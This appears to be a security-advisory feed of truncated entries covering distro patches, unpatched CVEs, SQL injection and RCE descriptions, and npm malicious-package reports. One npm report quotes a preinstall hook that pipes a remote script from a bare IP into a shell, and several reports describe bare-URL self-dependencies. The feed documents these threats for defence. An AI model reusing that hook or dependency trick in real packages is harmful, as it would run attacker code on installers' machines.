cadvisor-0.60.5-2.1 on GA media (moderate)

cadvisor-0.60.5-2.1 on GA media Announcement ID: openSUSE-SU-2026:11606-1 Rating: moderate Cross-References: CVE-2026-41178 CVSS scores: CVE-2026-41178 SUSE : 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Affected Products: openSUSE Tumbleweed An update that solves one vulnerability can now be...

Linux Distros Unpatched Vulnerability : CVE-2025-70292

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Debian Linux - u-boot - None Ubuntu Linux - Unknown description CVE-2025-70292 Note that Nessus relies on the presence of the package as reported by the vendor...

Linux Distros Unpatched Vulnerability : CVE-2026-38821

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the...

PT-2026-83499

Name of the Vulnerable Software and Affected Versions itsourcecode Sales and Inventory System version 1.0 Description A security flaw allows remote attackers to perform SQL injection, a technique where malicious SQL statements are inserted into entry fields for execution. The issue exists in the...

Linux Distros Unpatched Vulnerability : CVE-2026-40013

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve...

Debian dla-4760 : roundcube - security update

The remote Debian 11 / 12 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-4760 advisory. ------------------------------------------------------------------------- Debian LTS Advisory DLA-4760-1 [email protected]...

PT-2026-83429

Name of the Vulnerable Software and Affected Versions BookStack versions prior to 26.05.4 Description An authenticated remote code execution issue exists in the portable ZIP import functionality. Users possessing both Import Content and Create Books permissions can upload a PHP-image polyglot...

PT-2026-83501

Name of the Vulnerable Software and Affected Versions PHPGurukul Student Information System version 1.0 Description An issue exists in the /student edit1.php file where manipulating the ID argument allows for remote SQL injection. SQL injection is a technique where malicious SQL statements are...

PT-2026-83498

Name of the Vulnerable Software and Affected Versions itsourcecode Sales and Inventory System version 1.0 Description A SQL injection issue exists due to improper processing of the /pages/emp edit.php endpoint. A remote attacker can exploit this by manipulating the ID argument to execute...

VulnCheck KEV: CVE-2026-0768

Langflow code Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the code...

Linux Distros Unpatched Vulnerability : CVE-2026-40205

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An attacker that holds an OAuth2 token granting only part of the required scopes can authenticate, because when more than one scope is required in the...

Linux Distros Unpatched Vulnerability : CVE-2026-56854

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and...

Malicious code in ux-metrics-client-interaction-subscriber (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6066e87b7b0822678d3514839bc7eba18d46ff1d034c12ea169f4c3513df132b package.json line 11 declares a dependency whose key equals the package's own name ux-metrics-client-interaction-subscriber and whose value is a bare...

Malicious code in bui-react-10themes (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0a333445d0f8345bc824161bcc7f6487a59ba9f1f7a852da2643eb7c27dd849b package.json declares a dependency whose key equals this package's own name bui-react-10themes and whose value is a bare HTTPS URL...

Malicious code in jira-projects-backbone (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f75bb5293b51dc977d699982756ea69987397ce86f50d12753844198bf40294c package.json line 11 declares a dependency whose key equals the package's own name jira-projects-backbone with a value that is a bare HTTPS URL,...

Malicious code in gridster-coords (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 245882b881fde3396fcb6e1e14f8b0014fc64cd1d02d27f101c8fd2a0b16c944 package.json line 11 declares the dependency 'gridster-coords' as the bare HTTPS URL https://repo.securityctrl.com/gridster-coords instead of a...

Malicious code in amplitude-react-native (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 489592652dd724254e29c10536019e0e03e8032e781748a73fc357bb40f50a1d package.json declares a single dependency whose source is a bare HTTPS URL https://repo.securityctrl.com/amplitude-react-native rather than a registr...

Malicious code in one-intuit-help-system-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c22e9eaa97b1ee548e6ca6ac6257ea72fed0ee92d5b54255781e62b8ae19783 package.json declares a dependency whose key equals the package's own name one-intuit-help-system-utils and whose value is a bare HTTPS URL...

Malicious code in search-reservation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 76642f0709b362fd800a9842b53bdb8f26413b9acf26562c4a5737c7bae3e856 package.json declares a dependency whose key equals the package's own name search-reservation and whose value is the bare URL...

MAL-2026-15509 Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...